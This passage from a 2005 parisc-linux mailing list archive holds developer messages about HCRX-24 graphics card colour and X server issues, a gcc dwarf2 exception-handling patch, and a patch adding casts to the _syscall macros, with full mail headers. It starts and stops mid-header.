	by free.linux.hp.com (Postfix) with ESMTP id 472B27D693;
	Tue, 15 Nov 2005 12:59:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11288-02; Tue, 15 Nov 2005 12:59:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AB21F7D6E6;
	Tue, 15 Nov 2005 12:59:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2BF17D682
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Nov 2005 12:59:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10935-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Nov 2005 12:59:26 -0700 (MST)
Original-Received: from mta07-winn.ispmail.ntl.com (mta07-winn.ispmail.ntl.com
	[81.103.221.47])
	by free.linux.hp.com (Postfix) with ESMTP id BA0697D644
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Nov 2005 12:59:25 -0700 (MST)
Original-Received: from aamta11-winn.ispmail.ntl.com ([81.103.221.35])
	by mta07-winn.ispmail.ntl.com with ESMTP id
	<20051115195922.TOLP21883.mta07-winn.ispmail.ntl.com@aamta11-winn.ispmail.ntl.com>;
	Tue, 15 Nov 2005 19:59:22 +0000
Original-Received: from janus ([82.9.44.76]) by aamta11-winn.ispmail.ntl.com with ESMTP
	id <20051115195922.NYC16192.aamta11-winn.ispmail.ntl.com@janus>;
	Tue, 15 Nov 2005 19:59:22 +0000
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1Ec6xb-0001Tf-00; Tue, 15 Nov 2005 19:59:19 +0000
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	Johannes Raspe <j.raspe@t-online.de>,
	Andy Walker <ajwalker@broadpark.no>
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: f1sIY3RYeSEkVL6WZHQhaXN1IGRvb8A0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23202

Hi,

Firstly, I've just found that my HCRX-24 works with an LCD monitor.
This was news to me, as IIRC it had even failed to work with monitors
that claimed to support sync-on-green.  I hope that might help someone.

Secondly, I can confirm several problems reported by Johannes Raspe and
Andy Walker late last year:

1) The Tux colours are wrong.  I'll try to expand on that later.

2) The console colours aren't right... actually, the 'normal' colours
   work correctly, but the 'bright' colours are all white.  (Even bright
   black).  Switching to/from X seems to fix this.

3) X doesn't work properly in 32-bit mode.  It appears as though the X
   server is using 24-bit pixels, but the HCRX-24 card is expecting
   8-bits of padding per pixel...  So something like this:

   HCRX-24: R G B U|R G B U|R G B U|...
   X:       R G B|R G B|R G B|R G B|...

   That's consistent with the colour 'artefacts' that I'm seeing.  BTW,
   the right 1/4 of the screen is just whatever was left in the console
   before switching to X.  I'll have a look at this one, but I expect
   it's a bug in our STI code. :-(

Cheers,
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] experimental gcc-4.1 packages
Date: Wed, 16 Nov 2005 09:31:40 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200511161431.jAGEVfxF010874@hiauly1.hia.nrc.ca>
References: <IQ1IVB$BE453CA6C7839293715E8E1912237425@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623937 16906 80.91.229.3 (22 Nov 2014 02:38:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@tiscali.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Nov 2005 14:32:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 16 Nov 2005 15:32:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1A9057D665;
	Wed, 16 Nov 2005 07:32:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17175-07; Wed, 16 Nov 2005 07:32:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 755F47D684;
	Wed, 16 Nov 2005 07:32:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6BD9C7D650
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Nov 2005 07:31:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17175-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Nov 2005 07:31:56 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id ACFCF7D642
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Nov 2005 07:31:56 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	jAGEVfqO010878; Wed, 16 Nov 2005 09:31:42 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id jAGEVfxF010874;
	Wed, 16 Nov 2005 09:31:41 -0500 (EST)
In-Reply-To: <IQ1IVB$BE453CA6C7839293715E8E1912237425@scarlet.be> from "Joel
	Soete" at Nov 16, 2005 10:11:35 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vycJY85ueSEkML6WZHQhaXN1IGRvbwAu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23203

> Iirc jda is already aware of some dwarf pb (is it amoung?)

http://gcc.gnu.org/bugzilla/show_bug.cgi?id=24348.

I had asked Richard to install the generic part of the patch
referred to in the PR.  However, this hasn't happened yet.  I've
completed a patch to add dwarf2 exception support to the hpux
port.  I plan to submit it this evening.  Hopefully, this will
get things moving.

The patch includes a small change to the linux EH support.
Dynamic relocations are eliminated from the .eh_frame data.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fix warnings when using _syscall# macros from
	unistd.h to declare void functions
Date: Wed, 16 Nov 2005 16:55:14 +0000
Lines: 98
Approved: news@gmane.org
Message-ID: <20051116165514.GF27571@toucan.gentoo.org>
References: <20051113115342.GA32170@toucan.gentoo.org>
	<20051116163048.GA31729@parisc-linux.org>
	<20051116163847.GE27571@toucan.gentoo.org>
	<20051116164238.GB31729@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="opJtzjQTFsWo+cga"
X-Trace: ger.gmane.org 1416623938 16908 80.91.229.3 (22 Nov 2014 02:38:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Nov 2005 16:55:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx014) with SMTP; 16 Nov 2005 17:55:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E7B947D72C;
	Wed, 16 Nov 2005 09:55:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19942-05; Wed, 16 Nov 2005 09:55:18 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE5247D72D;
	Wed, 16 Nov 2005 09:55:17 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C35307D72B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Nov 2005 09:55:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19950-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Nov 2005 09:55:15 -0700 (MST)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [134.68.220.30])
	by free.linux.hp.com (Postfix) with ESMTP id 183077D729
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 16 Nov 2005 09:55:15 -0700 (MST)
Original-Received: from vapier by smtp.gentoo.org with local (Exim 4.43)
	id 1EcQZ0-0005ON-MM
	for parisc-linux@lists.parisc-linux.org; Wed, 16 Nov 2005 16:55:14 +0000
Content-Disposition: inline
In-Reply-To: <20051116164238.GB31729@parisc-linux.org>
User-Agent: Mutt/1.5.8i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LQEJY7MyeSEkfL6WZHQhaXN1IGRvb0Ag
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23204


--opJtzjQTFsWo+cga
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Wed, Nov 16, 2005 at 09:42:38AM -0700, Matthew Wilcox wrote:
> On Wed, Nov 16, 2005 at 04:38:47PM +0000, Mike Frysinger wrote:
> > On Wed, Nov 16, 2005 at 09:30:48AM -0700, Matthew Wilcox wrote:
> > > On Sun, Nov 13, 2005 at 11:53:42AM +0000, Mike Frysinger wrote:
> > > > if you try to declare a void function using the _syscall macros 
> > > > provided by asm-parisc/unistd.h, you'll get warnings about trying to
> > > > return from a non-void function ... i386 fixes this by typecasting

> > i noticed though when trying to do mmap:
> > mmap.c:16: warning: return makes pointer from integer without a cast
> 
> If you'd posted that example, I don't think I would have blinked ;-)
> Send a patch please ;-)

yeah sorry, i saw a warning and didnt really read it ... when i glanced
in the file i picked out the issue pretty quickly and hadnt tried to
reproduce again ... /me smacks self
-mike

--opJtzjQTFsWo+cga
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="parisc-cast-unistd-syscalls.patch"

--- /usr/src/linux-2.6.git/include/asm-parisc/unistd.h
+++ uClibc/libc/sysdeps/linux/hppa/bits/syscalls.h
@@ -875,38 +875,38 @@
 #define _syscall0(type,name)						\
 type name(void)								\
 {									\
-    return K_INLINE_SYSCALL(name, 0);	                                \
+    return (type) K_INLINE_SYSCALL(name, 0);	                                \
 }
 
 #define _syscall1(type,name,type1,arg1)					\
 type name(type1 arg1)							\
 {									\
-    return K_INLINE_SYSCALL(name, 1, arg1);	                        \
+    return (type) K_INLINE_SYSCALL(name, 1, arg1);	                        \
 }
 
 #define _syscall2(type,name,type1,arg1,type2,arg2)			\
 type name(type1 arg1, type2 arg2)					\
 {									\
-    return K_INLINE_SYSCALL(name, 2, arg1, arg2);	                \
+    return (type) K_INLINE_SYSCALL(name, 2, arg1, arg2);	                \
 }
 
 #define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3)		\
 type name(type1 arg1, type2 arg2, type3 arg3)				\
 {									\
-    return K_INLINE_SYSCALL(name, 3, arg1, arg2, arg3);	                \
+    return (type) K_INLINE_SYSCALL(name, 3, arg1, arg2, arg3);	                \
 }
 
 #define _syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
 type name(type1 arg1, type2 arg2, type3 arg3, type4 arg4)		\
 {									\
-    return K_INLINE_SYSCALL(name, 4, arg1, arg2, arg3, arg4);	        \
+    return (type) K_INLINE_SYSCALL(name, 4, arg1, arg2, arg3, arg4);	        \
 }
 
 /* select takes 5 arguments */
 #define _syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4,type5,arg5) \
 type name(type1 arg1, type2 arg2, type3 arg3, type4 arg4, type5 arg5)	\
 {									\
-    return K_INLINE_SYSCALL(name, 5, arg1, arg2, arg3, arg4, arg5);	\
+    return (type) K_INLINE_SYSCALL(name, 5, arg1, arg2, arg3, arg4, arg5);	\
 }
 
 #ifdef __KERNEL__
@@ -937,7 +937,7 @@
 #define _syscall6(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4,type5,arg5,type6,arg6) \
 type name(type1 arg1, type2 arg2, type3 arg3, type4 arg4, type5 arg5, type6 arg6) \
 {									        \
-    return K_INLINE_SYSCALL(name, 6, arg1, arg2, arg3, arg4, arg5, arg6);	\
+    return (type) K_INLINE_SYSCALL(name, 6, arg1, arg2, arg3, arg4, arg5, arg6);	\
 }
 
 #ifdef __KERNEL_SYSCALLS__

--opJtzjQTFsWo+cga
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--opJtzjQTFsWo+cga--



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Console/X problems on HCRX-24
Date: Tue, 15 Nov 2005 23:00:46 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20051115230046.GA5731@ntlworld.com>
References: <20051115195918.GA5640@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623938 16909 80.91.229.3 (22 Nov 2014 02:38:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 Johannes Raspe <j.raspe@t-online.de>,
 Andy Walker <ajwalker@broadpark.no>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Nov 2005 23:00:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx022) with SMTP; 16 Nov 2005 00:00:59 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 361C37D6F8;
	Tue, 15 Nov 2005 16:00:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12110-03; Tue, 15 Nov 2005 16:00:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 192137D6F9;
	Tue, 15 Nov 2005 16:00:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A66AB7D6F7
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Nov 2005 16:00:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11288-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Nov 2005 16:00:51 -0700 (MST)
Original-Received: from mta08-winn.ispmail.ntl.com (mta08-winn.ispmail.ntl.com
	[81.103.221.48])
	by free.linux.hp.com (Postfix) with ESMTP id ADCD07D6F6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 15 Nov 2005 16:00:50 -0700 (MST)
Original-Received: from aamta11-winn.ispmail.ntl.com ([81.103.221.35])
	by mta08-winn.ispmail.ntl.com with ESMTP id
	<20051115230049.SMID17804.mta08-winn.ispmail.ntl.com@aamta11-winn.ispmail.ntl.com>;
	Tue, 15 Nov 2005 23:00:49 +0000
Original-Received: from janus ([82.9.44.76]) by aamta11-winn.ispmail.ntl.com with ESMTP
	id <20051115230049.DNOU16192.aamta11-winn.ispmail.ntl.com@janus>;
	Tue, 15 Nov 2005 23:00:49 +0000
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1Ec9nC-0001WJ-00; Tue, 15 Nov 2005 23:00:46 +0000
Mail-Followup-To: parisc-linux@lists.parisc-linux.org,
	Johannes Raspe <j.raspe@t-online.de>,
	Andy Walker <ajwalker@broadpark.no>
Content-Disposition: inline
In-Reply-To: <20051115195918.GA5640@ntlworld.com>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /A0IY4Q6eSEkZL6WZHQhaXN1IGRvb8Bx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23205

On Tue, Nov 15, 2005 at 07:59:18PM +0000, Stuart Brady wrote:
> 3) X doesn't work properly in 32-bit mode.  It appears as though the X
>    server is using 24-bit pixels, but the HCRX-24 card is expecting
>    8-bits of padding per pixel...  So something like this:
> 
>    HCRX-24: R G B U|R G B U|R G B U|...
>    X:       R G B|R G B|R G B|R G B|...
> 
>    That's consistent with the colour 'artefacts' that I'm seeing.  BTW,
>    the right 1/4 of the screen is just whatever was left in the console
>    before switching to X.  I'll have a look at this one, but I expect
>    it's a bug in our STI code. :-(

Thanks to Max Grabert for the suggestion: adding the following line to
the "Screen" section in xorg.conf works for me:

	DefaultFbBpp	32

I would have expected the X server to be able to find this out for
itself, so I'm not sure if there's still a bug here.  I can't see
anything obviously wrong with stifb, fwiw.

Cheers,
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [git pull] parisc-linux for 2.6.15
Date: Fri, 18 Nov 2005 17:16:01 -0500
Lines: 115
Approved: news@gmane.org
Message-ID: <20051118221601.GD28276@tachyon.int.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623938 16913 80.91.229.3 (22 Nov 2014 02:38:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:58 +0000 (UTC)
Cc: akpm@osdl.org,
 parisc-linux@lists.parisc-linux.org
To: torvalds@osdl.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Nov 2005 22:16:24 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 18 Nov 2005 23:16:24 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 213C97D6C0;
	Fri, 18 Nov 2005 15:16:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09881-03; Fri, 18 Nov 2005 15:16:19 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D82827D6B6;
	Fri, 18 Nov 2005 15:16:17 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 97B627D6AD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Nov 2005 15:16:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09283-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Nov 2005 15:16:14 -0700 (MST)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id D38F97D6A9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 18 Nov 2005 15:16:13 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 970AE1708A;
	Fri, 18 Nov 2005 17:16:12 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21782-05; Fri, 18 Nov 2005 17:16:12 -0500 (EST)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 3D8401708D; Fri, 18 Nov 2005 17:16:12 -0500 (EST)
X-IMAP-Sender: kyle
X-OfflineIMAP-x505420290-52656d6f746546617454697265-494e424f582e4f7574626f78: 1132352199-0762891707128-v4.0.11
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
